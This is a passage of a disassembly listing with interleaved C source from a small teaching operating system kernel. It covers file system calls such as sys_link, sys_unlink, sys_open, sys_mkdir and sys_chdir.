-0xc(%ebp) 801053ff: e8 bc ba ff ff call 80100ec0 <fileclose> return 0; 80105404: 83 c4 10 add $0x10,%esp 80105407: 31 c0 xor %eax,%eax } 80105409: c9 leave 8010540a: c3 ret 8010540b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 8010540f: 90 nop 80105410: c9 leave return -1; 80105411: b8 ff ff ff ff mov $0xffffffff,%eax } 80105416: c3 ret 80105417: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010541e: 66 90 xchg %ax,%ax 80105420 <sys_fstat>: { 80105420: f3 0f 1e fb endbr32 80105424: 55 push %ebp if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80105425: 31 c0 xor %eax,%eax { 80105427: 89 e5 mov %esp,%ebp 80105429: 83 ec 18 sub $0x18,%esp if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 8010542c: 8d 55 f0 lea -0x10(%ebp),%edx 8010542f: e8 fc fd ff ff call 80105230 <argfd.constprop.0> 80105434: 85 c0 test %eax,%eax 80105436: 78 30 js 80105468 <sys_fstat+0x48> 80105438: 83 ec 04 sub $0x4,%esp 8010543b: 8d 45 f4 lea -0xc(%ebp),%eax 8010543e: 6a 14 push $0x14 80105440: 50 push %eax 80105441: 6a 01 push $0x1 80105443: e8 38 fb ff ff call 80104f80 <argptr> 80105448: 83 c4 10 add $0x10,%esp 8010544b: 85 c0 test %eax,%eax 8010544d: 78 19 js 80105468 <sys_fstat+0x48> return filestat(f, st); 8010544f: 83 ec 08 sub $0x8,%esp 80105452: ff 75 f4 pushl -0xc(%ebp) 80105455: ff 75 f0 pushl -0x10(%ebp) 80105458: e8 43 bb ff ff call 80100fa0 <filestat> 8010545d: 83 c4 10 add $0x10,%esp } 80105460: c9 leave 80105461: c3 ret 80105462: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105468: c9 leave return -1; 80105469: b8 ff ff ff ff mov $0xffffffff,%eax } 8010546e: c3 ret 8010546f: 90 nop 80105470 <sys_link>: { 80105470: f3 0f 1e fb endbr32 80105474: 55 push %ebp 80105475: 89 e5 mov %esp,%ebp 80105477: 57 push %edi 80105478: 56 push %esi if(argstr(0, &old) < 0 || argstr(1, &new) < 0) 80105479: 8d 45 d4 lea -0x2c(%ebp),%eax { 8010547c: 53 push %ebx 8010547d: 83 ec 34 sub $0x34,%esp if(argstr(0, &old) < 0 || argstr(1, &new) < 0) 80105480: 50 push %eax 80105481: 6a 00 push $0x0 80105483: e8 58 fb ff ff call 80104fe0 <argstr> 80105488: 83 c4 10 add $0x10,%esp 8010548b: 85 c0 test %eax,%eax 8010548d: 0f 88 ff 00 00 00 js 80105592 <sys_link+0x122> 80105493: 83 ec 08 sub $0x8,%esp 80105496: 8d 45 d0 lea -0x30(%ebp),%eax 80105499: 50 push %eax 8010549a: 6a 01 push $0x1 8010549c: e8 3f fb ff ff call 80104fe0 <argstr> 801054a1: 83 c4 10 add $0x10,%esp 801054a4: 85 c0 test %eax,%eax 801054a6: 0f 88 e6 00 00 00 js 80105592 <sys_link+0x122> begin_op(); 801054ac: e8 7f d8 ff ff call 80102d30 <begin_op> if((ip = namei(old)) == 0){ 801054b1: 83 ec 0c sub $0xc,%esp 801054b4: ff 75 d4 pushl -0x2c(%ebp) 801054b7: e8 74 cb ff ff call 80102030 <namei> 801054bc: 83 c4 10 add $0x10,%esp 801054bf: 89 c3 mov %eax,%ebx 801054c1: 85 c0 test %eax,%eax 801054c3: 0f 84 e8 00 00 00 je 801055b1 <sys_link+0x141> ilock(ip); 801054c9: 83 ec 0c sub $0xc,%esp 801054cc: 50 push %eax 801054cd: e8 8e c2 ff ff call 80101760 <ilock> if(ip->type == T_DIR){ 801054d2: 83 c4 10 add $0x10,%esp 801054d5: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 801054da: 0f 84 b9 00 00 00 je 80105599 <sys_link+0x129> iupdate(ip); 801054e0: 83 ec 0c sub $0xc,%esp ip->nlink++; 801054e3: 66 83 43 56 01 addw $0x1,0x56(%ebx) if((dp = nameiparent(new, name)) == 0) 801054e8: 8d 7d da lea -0x26(%ebp),%edi iupdate(ip); 801054eb: 53 push %ebx 801054ec: e8 af c1 ff ff call 801016a0 <iupdate> iunlock(ip); 801054f1: 89 1c 24 mov %ebx,(%esp) 801054f4: e8 47 c3 ff ff call 80101840 <iunlock> if((dp = nameiparent(new, name)) == 0) 801054f9: 58 pop %eax 801054fa: 5a pop %edx 801054fb: 57 push %edi 801054fc: ff 75 d0 pushl -0x30(%ebp) 801054ff: e8 4c cb ff ff call 80102050 <nameiparent> 80105504: 83 c4 10 add $0x10,%esp 80105507: 89 c6 mov %eax,%esi 80105509: 85 c0 test %eax,%eax 8010550b: 74 5f je 8010556c <sys_link+0xfc> ilock(dp); 8010550d: 83 ec 0c sub $0xc,%esp 80105510: 50 push %eax 80105511: e8 4a c2 ff ff call 80101760 <ilock> if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){ 80105516: 8b 03 mov (%ebx),%eax 80105518: 83 c4 10 add $0x10,%esp 8010551b: 39 06 cmp %eax,(%esi) 8010551d: 75 41 jne 80105560 <sys_link+0xf0> 8010551f: 83 ec 04 sub $0x4,%esp 80105522: ff 73 04 pushl 0x4(%ebx) 80105525: 57 push %edi 80105526: 56 push %esi 80105527: e8 44 ca ff ff call 80101f70 <dirlink> 8010552c: 83 c4 10 add $0x10,%esp 8010552f: 85 c0 test %eax,%eax 80105531: 78 2d js 80105560 <sys_link+0xf0> iunlockput(dp); 80105533: 83 ec 0c sub $0xc,%esp 80105536: 56 push %esi 80105537: e8 c4 c4 ff ff call 80101a00 <iunlockput> iput(ip); 8010553c: 89 1c 24 mov %ebx,(%esp) 8010553f: e8 4c c3 ff ff call 80101890 <iput> end_op(); 80105544: e8 57 d8 ff ff call 80102da0 <end_op> return 0; 80105549: 83 c4 10 add $0x10,%esp 8010554c: 31 c0 xor %eax,%eax } 8010554e: 8d 65 f4 lea -0xc(%ebp),%esp 80105551: 5b pop %ebx 80105552: 5e pop %esi 80105553: 5f pop %edi 80105554: 5d pop %ebp 80105555: c3 ret 80105556: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010555d: 8d 76 00 lea 0x0(%esi),%esi iunlockput(dp); 80105560: 83 ec 0c sub $0xc,%esp 80105563: 56 push %esi 80105564: e8 97 c4 ff ff call 80101a00 <iunlockput> goto bad; 80105569: 83 c4 10 add $0x10,%esp ilock(ip); 8010556c: 83 ec 0c sub $0xc,%esp 8010556f: 53 push %ebx 80105570: e8 eb c1 ff ff call 80101760 <ilock> ip->nlink--; 80105575: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 8010557a: 89 1c 24 mov %ebx,(%esp) 8010557d: e8 1e c1 ff ff call 801016a0 <iupdate> iunlockput(ip); 80105582: 89 1c 24 mov %ebx,(%esp) 80105585: e8 76 c4 ff ff call 80101a00 <iunlockput> end_op(); 8010558a: e8 11 d8 ff ff call 80102da0 <end_op> return -1; 8010558f: 83 c4 10 add $0x10,%esp 80105592: b8 ff ff ff ff mov $0xffffffff,%eax 80105597: eb b5 jmp 8010554e <sys_link+0xde> iunlockput(ip); 80105599: 83 ec 0c sub $0xc,%esp 8010559c: 53 push %ebx 8010559d: e8 5e c4 ff ff call 80101a00 <iunlockput> end_op(); 801055a2: e8 f9 d7 ff ff call 80102da0 <end_op> return -1; 801055a7: 83 c4 10 add $0x10,%esp 801055aa: b8 ff ff ff ff mov $0xffffffff,%eax 801055af: eb 9d jmp 8010554e <sys_link+0xde> end_op(); 801055b1: e8 ea d7 ff ff call 80102da0 <end_op> return -1; 801055b6: b8 ff ff ff ff mov $0xffffffff,%eax 801055bb: eb 91 jmp 8010554e <sys_link+0xde> 801055bd: 8d 76 00 lea 0x0(%esi),%esi 801055c0 <sys_unlink>: { 801055c0: f3 0f 1e fb endbr32 801055c4: 55 push %ebp 801055c5: 89 e5 mov %esp,%ebp 801055c7: 57 push %edi 801055c8: 56 push %esi if(argstr(0, &path) < 0) 801055c9: 8d 45 c0 lea -0x40(%ebp),%eax { 801055cc: 53 push %ebx 801055cd: 83 ec 54 sub $0x54,%esp if(argstr(0, &path) < 0) 801055d0: 50 push %eax 801055d1: 6a 00 push $0x0 801055d3: e8 08 fa ff ff call 80104fe0 <argstr> 801055d8: 83 c4 10 add $0x10,%esp 801055db: 85 c0 test %eax,%eax 801055dd: 0f 88 7d 01 00 00 js 80105760 <sys_unlink+0x1a0> begin_op(); 801055e3: e8 48 d7 ff ff call 80102d30 <begin_op> if((dp = nameiparent(path, name)) == 0){ 801055e8: 8d 5d ca lea -0x36(%ebp),%ebx 801055eb: 83 ec 08 sub $0x8,%esp 801055ee: 53 push %ebx 801055ef: ff 75 c0 pushl -0x40(%ebp) 801055f2: e8 59 ca ff ff call 80102050 <nameiparent> 801055f7: 83 c4 10 add $0x10,%esp 801055fa: 89 c6 mov %eax,%esi 801055fc: 85 c0 test %eax,%eax 801055fe: 0f 84 66 01 00 00 je 8010576a <sys_unlink+0x1aa> ilock(dp); 80105604: 83 ec 0c sub $0xc,%esp 80105607: 50 push %eax 80105608: e8 53 c1 ff ff call 80101760 <ilock> if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0) 8010560d: 58 pop %eax 8010560e: 5a pop %edx 8010560f: 68 40 80 10 80 push $0x80108040 80105614: 53 push %ebx 80105615: e8 76 c6 ff ff call 80101c90 <namecmp> 8010561a: 83 c4 10 add $0x10,%esp 8010561d: 85 c0 test %eax,%eax 8010561f: 0f 84 03 01 00 00 je 80105728 <sys_unlink+0x168> 80105625: 83 ec 08 sub $0x8,%esp 80105628: 68 3f 80 10 80 push $0x8010803f 8010562d: 53 push %ebx 8010562e: e8 5d c6 ff ff call 80101c90 <namecmp> 80105633: 83 c4 10 add $0x10,%esp 80105636: 85 c0 test %eax,%eax 80105638: 0f 84 ea 00 00 00 je 80105728 <sys_unlink+0x168> if((ip = dirlookup(dp, name, &off)) == 0) 8010563e: 83 ec 04 sub $0x4,%esp 80105641: 8d 45 c4 lea -0x3c(%ebp),%eax 80105644: 50 push %eax 80105645: 53 push %ebx 80105646: 56 push %esi 80105647: e8 64 c6 ff ff call 80101cb0 <dirlookup> 8010564c: 83 c4 10 add $0x10,%esp 8010564f: 89 c3 mov %eax,%ebx 80105651: 85 c0 test %eax,%eax 80105653: 0f 84 cf 00 00 00 je 80105728 <sys_unlink+0x168> ilock(ip); 80105659: 83 ec 0c sub $0xc,%esp 8010565c: 50 push %eax 8010565d: e8 fe c0 ff ff call 80101760 <ilock> if(ip->nlink < 1) 80105662: 83 c4 10 add $0x10,%esp 80105665: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx) 8010566a: 0f 8e 23 01 00 00 jle 80105793 <sys_unlink+0x1d3> if(ip->type == T_DIR && !isdirempty(ip)){ 80105670: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80105675: 8d 7d d8 lea -0x28(%ebp),%edi 80105678: 74 66 je 801056e0 <sys_unlink+0x120> memset(&de, 0, sizeof(de)); 8010567a: 83 ec 04 sub $0x4,%esp 8010567d: 6a 10 push $0x10 8010567f: 6a 00 push $0x0 80105681: 57 push %edi 80105682: e8 c9 f5 ff ff call 80104c50 <memset> if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80105687: 6a 10 push $0x10 80105689: ff 75 c4 pushl -0x3c(%ebp) 8010568c: 57 push %edi 8010568d: 56 push %esi 8010568e: e8 cd c4 ff ff call 80101b60 <writei> 80105693: 83 c4 20 add $0x20,%esp 80105696: 83 f8 10 cmp $0x10,%eax 80105699: 0f 85 e7 00 00 00 jne 80105786 <sys_unlink+0x1c6> if(ip->type == T_DIR){ 8010569f: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 801056a4: 0f 84 96 00 00 00 je 80105740 <sys_unlink+0x180> iunlockput(dp); 801056aa: 83 ec 0c sub $0xc,%esp 801056ad: 56 push %esi 801056ae: e8 4d c3 ff ff call 80101a00 <iunlockput> ip->nlink--; 801056b3: 66 83 6b 56 01 subw $0x1,0x56(%ebx) iupdate(ip); 801056b8: 89 1c 24 mov %ebx,(%esp) 801056bb: e8 e0 bf ff ff call 801016a0 <iupdate> iunlockput(ip); 801056c0: 89 1c 24 mov %ebx,(%esp) 801056c3: e8 38 c3 ff ff call 80101a00 <iunlockput> end_op(); 801056c8: e8 d3 d6 ff ff call 80102da0 <end_op> return 0; 801056cd: 83 c4 10 add $0x10,%esp 801056d0: 31 c0 xor %eax,%eax } 801056d2: 8d 65 f4 lea -0xc(%ebp),%esp 801056d5: 5b pop %ebx 801056d6: 5e pop %esi 801056d7: 5f pop %edi 801056d8: 5d pop %ebp 801056d9: c3 ret 801056da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ 801056e0: 83 7b 58 20 cmpl $0x20,0x58(%ebx) 801056e4: 76 94 jbe 8010567a <sys_unlink+0xba> 801056e6: ba 20 00 00 00 mov $0x20,%edx 801056eb: eb 0b jmp 801056f8 <sys_unlink+0x138> 801056ed: 8d 76 00 lea 0x0(%esi),%esi 801056f0: 83 c2 10 add $0x10,%edx 801056f3: 39 53 58 cmp %edx,0x58(%ebx) 801056f6: 76 82 jbe 8010567a <sys_unlink+0xba> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 801056f8: 6a 10 push $0x10 801056fa: 52 push %edx 801056fb: 57 push %edi 801056fc: 53 push %ebx 801056fd: 89 55 b4 mov %edx,-0x4c(%ebp) 80105700: e8 5b c3 ff ff call 80101a60 <readi> 80105705: 83 c4 10 add $0x10,%esp 80105708: 8b 55 b4 mov -0x4c(%ebp),%edx 8010570b: 83 f8 10 cmp $0x10,%eax 8010570e: 75 69 jne 80105779 <sys_unlink+0x1b9> if(de.inum != 0) 80105710: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80105715: 74 d9 je 801056f0 <sys_unlink+0x130> iunlockput(ip); 80105717: 83 ec 0c sub $0xc,%esp 8010571a: 53 push %ebx 8010571b: e8 e0 c2 ff ff call 80101a00 <iunlockput> goto bad; 80105720: 83 c4 10 add $0x10,%esp 80105723: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105727: 90 nop iunlockput(dp); 80105728: 83 ec 0c sub $0xc,%esp 8010572b: 56 push %esi 8010572c: e8 cf c2 ff ff call 80101a00 <iunlockput> end_op(); 80105731: e8 6a d6 ff ff call 80102da0 <end_op> return -1; 80105736: 83 c4 10 add $0x10,%esp 80105739: b8 ff ff ff ff mov $0xffffffff,%eax 8010573e: eb 92 jmp 801056d2 <sys_unlink+0x112> iupdate(dp); 80105740: 83 ec 0c sub $0xc,%esp dp->nlink--; 80105743: 66 83 6e 56 01 subw $0x1,0x56(%esi) iupdate(dp); 80105748: 56 push %esi 80105749: e8 52 bf ff ff call 801016a0 <iupdate> 8010574e: 83 c4 10 add $0x10,%esp 80105751: e9 54 ff ff ff jmp 801056aa <sys_unlink+0xea> 80105756: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010575d: 8d 76 00 lea 0x0(%esi),%esi return -1; 80105760: b8 ff ff ff ff mov $0xffffffff,%eax 80105765: e9 68 ff ff ff jmp 801056d2 <sys_unlink+0x112> end_op(); 8010576a: e8 31 d6 ff ff call 80102da0 <end_op> return -1; 8010576f: b8 ff ff ff ff mov $0xffffffff,%eax 80105774: e9 59 ff ff ff jmp 801056d2 <sys_unlink+0x112> panic("isdirempty: readi"); 80105779: 83 ec 0c sub $0xc,%esp 8010577c: 68 64 80 10 80 push $0x80108064 80105781: e8 0a ac ff ff call 80100390 <panic> panic("unlink: writei"); 80105786: 83 ec 0c sub $0xc,%esp 80105789: 68 76 80 10 80 push $0x80108076 8010578e: e8 fd ab ff ff call 80100390 <panic> panic("unlink: nlink < 1"); 80105793: 83 ec 0c sub $0xc,%esp 80105796: 68 52 80 10 80 push $0x80108052 8010579b: e8 f0 ab ff ff call 80100390 <panic> 801057a0 <sys_open>: int sys_open(void) { 801057a0: f3 0f 1e fb endbr32 801057a4: 55 push %ebp 801057a5: 89 e5 mov %esp,%ebp 801057a7: 57 push %edi 801057a8: 56 push %esi char *path; int fd, omode; struct file *f; struct inode *ip; if(argstr(0, &path) < 0 || argint(1, &omode) < 0) 801057a9: 8d 45 e0 lea -0x20(%ebp),%eax { 801057ac: 53 push %ebx 801057ad: 83 ec 24 sub $0x24,%esp if(argstr(0, &path) < 0 || argint(1, &omode) < 0) 801057b0: 50 push %eax 801057b1: 6a 00 push $0x0 801057b3: e8 28 f8 ff ff call 80104fe0 <argstr> 801057b8: 83 c4 10 add $0x10,%esp 801057bb: 85 c0 test %eax,%eax 801057bd: 0f 88 8a 00 00 00 js 8010584d <sys_open+0xad> 801057c3: 83 ec 08 sub $0x8,%esp 801057c6: 8d 45 e4 lea -0x1c(%ebp),%eax 801057c9: 50 push %eax 801057ca: 6a 01 push $0x1 801057cc: e8 5f f7 ff ff call 80104f30 <argint> 801057d1: 83 c4 10 add $0x10,%esp 801057d4: 85 c0 test %eax,%eax 801057d6: 78 75 js 8010584d <sys_open+0xad> return -1; begin_op(); 801057d8: e8 53 d5 ff ff call 80102d30 <begin_op> if(omode & O_CREATE){ 801057dd: f6 45 e5 02 testb $0x2,-0x1b(%ebp) 801057e1: 75 75 jne 80105858 <sys_open+0xb8> if(ip == 0){ end_op(); return -1; } } else { if((ip = namei(path)) == 0){ 801057e3: 83 ec 0c sub $0xc,%esp 801057e6: ff 75 e0 pushl -0x20(%ebp) 801057e9: e8 42 c8 ff ff call 80102030 <namei> 801057ee: 83 c4 10 add $0x10,%esp 801057f1: 89 c6 mov %eax,%esi 801057f3: 85 c0 test %eax,%eax 801057f5: 74 7e je 80105875 <sys_open+0xd5> end_op(); return -1; } ilock(ip); 801057f7: 83 ec 0c sub $0xc,%esp 801057fa: 50 push %eax 801057fb: e8 60 bf ff ff call 80101760 <ilock> if(ip->type == T_DIR && omode != O_RDONLY){ 80105800: 83 c4 10 add $0x10,%esp 80105803: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 80105808: 0f 84 c2 00 00 00 je 801058d0 <sys_open+0x130> end_op(); return -1; } } if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ 8010580e: e8 ed b5 ff ff call 80100e00 <filealloc> 80105813: 89 c7 mov %eax,%edi 80105815: 85 c0 test %eax,%eax 80105817: 74 23 je 8010583c <sys_open+0x9c> struct proc *curproc = myproc(); 80105819: e8 72 e1 ff ff call 80103990 <myproc> for(fd = 0; fd < NOFILE; fd++){ 8010581e: 31 db xor %ebx,%ebx if(curproc->ofile[fd] == 0){ 80105820: 8b 54 98 28 mov 0x28(%eax,%ebx,4),%edx 80105824: 85 d2 test %edx,%edx 80105826: 74 60 je 80105888 <sys_open+0xe8> for(fd = 0; fd < NOFILE; fd++){ 80105828: 83 c3 01 add $0x1,%ebx 8010582b: 83 fb 10 cmp $0x10,%ebx 8010582e: 75 f0 jne 80105820 <sys_open+0x80> if(f) fileclose(f); 80105830: 83 ec 0c sub $0xc,%esp 80105833: 57 push %edi 80105834: e8 87 b6 ff ff call 80100ec0 <fileclose> 80105839: 83 c4 10 add $0x10,%esp iunlockput(ip); 8010583c: 83 ec 0c sub $0xc,%esp 8010583f: 56 push %esi 80105840: e8 bb c1 ff ff call 80101a00 <iunlockput> end_op(); 80105845: e8 56 d5 ff ff call 80102da0 <end_op> return -1; 8010584a: 83 c4 10 add $0x10,%esp 8010584d: bb ff ff ff ff mov $0xffffffff,%ebx 80105852: eb 6d jmp 801058c1 <sys_open+0x121> 80105854: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi ip = create(path, T_FILE, 0, 0); 80105858: 83 ec 0c sub $0xc,%esp 8010585b: 8b 45 e0 mov -0x20(%ebp),%eax 8010585e: 31 c9 xor %ecx,%ecx 80105860: ba 02 00 00 00 mov $0x2,%edx 80105865: 6a 00 push $0x0 80105867: e8 24 f8 ff ff call 80105090 <create> if(ip == 0){ 8010586c: 83 c4 10 add $0x10,%esp ip = create(path, T_FILE, 0, 0); 8010586f: 89 c6 mov %eax,%esi if(ip == 0){ 80105871: 85 c0 test %eax,%eax 80105873: 75 99 jne 8010580e <sys_open+0x6e> end_op(); 80105875: e8 26 d5 ff ff call 80102da0 <end_op> return -1; 8010587a: bb ff ff ff ff mov $0xffffffff,%ebx 8010587f: eb 40 jmp 801058c1 <sys_open+0x121> 80105881: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } iunlock(ip); 80105888: 83 ec 0c sub $0xc,%esp curproc->ofile[fd] = f; 8010588b: 89 7c 98 28 mov %edi,0x28(%eax,%ebx,4) iunlock(ip); 8010588f: 56 push %esi 80105890: e8 ab bf ff ff call 80101840 <iunlock> end_op(); 80105895: e8 06 d5 ff ff call 80102da0 <end_op> f->type = FD_INODE; 8010589a: c7 07 02 00 00 00 movl $0x2,(%edi) f->ip = ip; f->off = 0; f->readable = !(omode & O_WRONLY); 801058a0: 8b 55 e4 mov -0x1c(%ebp),%edx f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 801058a3: 83 c4 10 add $0x10,%esp f->ip = ip; 801058a6: 89 77 10 mov %esi,0x10(%edi) f->readable = !(omode & O_WRONLY); 801058a9: 89 d0 mov %edx,%eax f->off = 0; 801058ab: c7 47 14 00 00 00 00 movl $0x0,0x14(%edi) f->readable = !(omode & O_WRONLY); 801058b2: f7 d0 not %eax 801058b4: 83 e0 01 and $0x1,%eax f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 801058b7: 83 e2 03 and $0x3,%edx f->readable = !(omode & O_WRONLY); 801058ba: 88 47 08 mov %al,0x8(%edi) f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 801058bd: 0f 95 47 09 setne 0x9(%edi) return fd; } 801058c1: 8d 65 f4 lea -0xc(%ebp),%esp 801058c4: 89 d8 mov %ebx,%eax 801058c6: 5b pop %ebx 801058c7: 5e pop %esi 801058c8: 5f pop %edi 801058c9: 5d pop %ebp 801058ca: c3 ret 801058cb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801058cf: 90 nop if(ip->type == T_DIR && omode != O_RDONLY){ 801058d0: 8b 4d e4 mov -0x1c(%ebp),%ecx 801058d3: 85 c9 test %ecx,%ecx 801058d5: 0f 84 33 ff ff ff je 8010580e <sys_open+0x6e> 801058db: e9 5c ff ff ff jmp 8010583c <sys_open+0x9c> 801058e0 <sys_mkdir>: int sys_mkdir(void) { 801058e0: f3 0f 1e fb endbr32 801058e4: 55 push %ebp 801058e5: 89 e5 mov %esp,%ebp 801058e7: 83 ec 18 sub $0x18,%esp char *path; struct inode *ip; begin_op(); 801058ea: e8 41 d4 ff ff call 80102d30 <begin_op> if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){ 801058ef: 83 ec 08 sub $0x8,%esp 801058f2: 8d 45 f4 lea -0xc(%ebp),%eax 801058f5: 50 push %eax 801058f6: 6a 00 push $0x0 801058f8: e8 e3 f6 ff ff call 80104fe0 <argstr> 801058fd: 83 c4 10 add $0x10,%esp 80105900: 85 c0 test %eax,%eax 80105902: 78 34 js 80105938 <sys_mkdir+0x58> 80105904: 83 ec 0c sub $0xc,%esp 80105907: 8b 45 f4 mov -0xc(%ebp),%eax 8010590a: 31 c9 xor %ecx,%ecx 8010590c: ba 01 00 00 00 mov $0x1,%edx 80105911: 6a 00 push $0x0 80105913: e8 78 f7 ff ff call 80105090 <create> 80105918: 83 c4 10 add $0x10,%esp 8010591b: 85 c0 test %eax,%eax 8010591d: 74 19 je 80105938 <sys_mkdir+0x58> end_op(); return -1; } iunlockput(ip); 8010591f: 83 ec 0c sub $0xc,%esp 80105922: 50 push %eax 80105923: e8 d8 c0 ff ff call 80101a00 <iunlockput> end_op(); 80105928: e8 73 d4 ff ff call 80102da0 <end_op> return 0; 8010592d: 83 c4 10 add $0x10,%esp 80105930: 31 c0 xor %eax,%eax } 80105932: c9 leave 80105933: c3 ret 80105934: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi end_op(); 80105938: e8 63 d4 ff ff call 80102da0 <end_op> return -1; 8010593d: b8 ff ff ff ff mov $0xffffffff,%eax } 80105942: c9 leave 80105943: c3 ret 80105944: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 8010594b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 8010594f: 90 nop 80105950 <sys_mknod>: int sys_mknod(void) { 80105950: f3 0f 1e fb endbr32 80105954: 55 push %ebp 80105955: 89 e5 mov %esp,%ebp 80105957: 83 ec 18 sub $0x18,%esp struct inode *ip; char *path; int major, minor; begin_op(); 8010595a: e8 d1 d3 ff ff call 80102d30 <begin_op> if((argstr(0, &path)) < 0 || 8010595f: 83 ec 08 sub $0x8,%esp 80105962: 8d 45 ec lea -0x14(%ebp),%eax 80105965: 50 push %eax 80105966: 6a 00 push $0x0 80105968: e8 73 f6 ff ff call 80104fe0 <argstr> 8010596d: 83 c4 10 add $0x10,%esp 80105970: 85 c0 test %eax,%eax 80105972: 78 64 js 801059d8 <sys_mknod+0x88> argint(1, &major) < 0 || 80105974: 83 ec 08 sub $0x8,%esp 80105977: 8d 45 f0 lea -0x10(%ebp),%eax 8010597a: 50 push %eax 8010597b: 6a 01 push $0x1 8010597d: e8 ae f5 ff ff call 80104f30 <argint> if((argstr(0, &path)) < 0 || 80105982: 83 c4 10 add $0x10,%esp 80105985: 85 c0 test %eax,%eax 80105987: 78 4f js 801059d8 <sys_mknod+0x88> argint(2, &minor) < 0 || 80105989: 83 ec 08 sub $0x8,%esp 8010598c: 8d 45 f4 lea -0xc(%ebp),%eax 8010598f: 50 push %eax 80105990: 6a 02 push $0x2 80105992: e8 99 f5 ff ff call 80104f30 <argint> argint(1, &major) < 0 || 80105997: 83 c4 10 add $0x10,%esp 8010599a: 85 c0 test %eax,%eax 8010599c: 78 3a js 801059d8 <sys_mknod+0x88> (ip = create(path, T_DEV, major, minor)) == 0){ 8010599e: 0f bf 45 f4 movswl -0xc(%ebp),%eax 801059a2: 83 ec 0c sub $0xc,%esp 801059a5: 0f bf 4d f0 movswl -0x10(%ebp),%ecx 801059a9: ba 03 00 00 00 mov $0x3,%edx 801059ae: 50 push %eax 801059af: 8b 45 ec mov -0x14(%ebp),%eax 801059b2: e8 d9 f6 ff ff call 80105090 <create> argint(2, &minor) < 0 || 801059b7: 83 c4 10 add $0x10,%esp 801059ba: 85 c0 test %eax,%eax 801059bc: 74 1a je 801059d8 <sys_mknod+0x88> end_op(); return -1; } iunlockput(ip); 801059be: 83 ec 0c sub $0xc,%esp 801059c1: 50 push %eax 801059c2: e8 39 c0 ff ff call 80101a00 <iunlockput> end_op(); 801059c7: e8 d4 d3 ff ff call 80102da0 <end_op> return 0; 801059cc: 83 c4 10 add $0x10,%esp 801059cf: 31 c0 xor %eax,%eax } 801059d1: c9 leave 801059d2: c3 ret 801059d3: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801059d7: 90 nop end_op(); 801059d8: e8 c3 d3 ff ff call 80102da0 <end_op> return -1; 801059dd: b8 ff ff ff ff mov $0xffffffff,%eax } 801059e2: c9 leave 801059e3: c3 ret 801059e4: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801059eb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801059ef: 90 nop 801059f0 <sys_chdir>: int sys_chdir(void) { 801059f0: f3 0f 1e fb endbr32 801059f4: 55 push %ebp 801059f5: 89 e5 mov %esp,%ebp 801059f7: 56 push %esi 801059f8: 53 push %ebx 801059f9: 83 ec 10 sub $0x10,%esp char *path; struct inode *ip; struct proc *curproc = myproc(); 801059fc: e8 8f df ff ff call 80103990 <myproc> 80105a01: 89 c6 mov %eax,%esi begin_op(); 80105a03: e8 28 d3 ff ff call 80102d30 <begin_op> if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){ 80105a08: 83 ec 08 sub $0x8,%esp 80105a0b: 8d 45 f4 lea -0xc(%ebp),%eax 80105a0e: 50 push %eax 80105a0f: 6a 00 push $0x0 80105a11: e8 ca f5 ff ff call 80104fe0 <argstr> 80105a16: 83 c4 10 add $0x10,%esp 80105a19: 85 c0 test %eax,%eax 80105a1b: 78 73 js 80105a90 <sys_chdir+0xa0> 80105a1d: 83 ec 0c sub $0xc,%esp 80105a20: ff 75 f4 pushl -0xc(%ebp) 80105a23: e8 08 c6 ff ff call 80102030 <namei> 80105a28: 83 c4 10 add $0x10,%esp 80105a2b: 89 c3 mov %eax,%ebx 80105a2d: 85 c0 test %eax,%eax 80105a2f: 74 5f je 80105a90 <sys_chdir+0xa0> end_op(); return -1; } ilock(ip); 80105a31: 83 ec 0c sub $0xc,%esp 80105a34: 50 push %eax 80105a35: e8 26 bd ff ff call 80101760 <ilock> if(ip->type != T_DIR){ 80105a3a: 83 c4 10 add $0x10,%esp 80105a3d: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80105a42: 75 2c jne 80105a70 <sys_chdir+0x80> iunlockput(ip); end_op(); return -1; } iunlock(ip); 80105a44: 83 ec 0c sub $0xc,%esp 80105a47: 53 push %ebx 80105a48: e8 f3 bd ff ff call 80101840 <iunlock> iput(curproc->cwd); 80105a4d: 58 pop %eax 80105a4e: ff 76 68 pushl 0x68(%esi) 80105a51: e8 3a be ff ff call 80101890 <iput> end_op(); 80105a56: e8 45 d3 ff ff call 80102da0 <end_op> curproc->cwd = ip; 80105a5b: 89 5e 68 mov 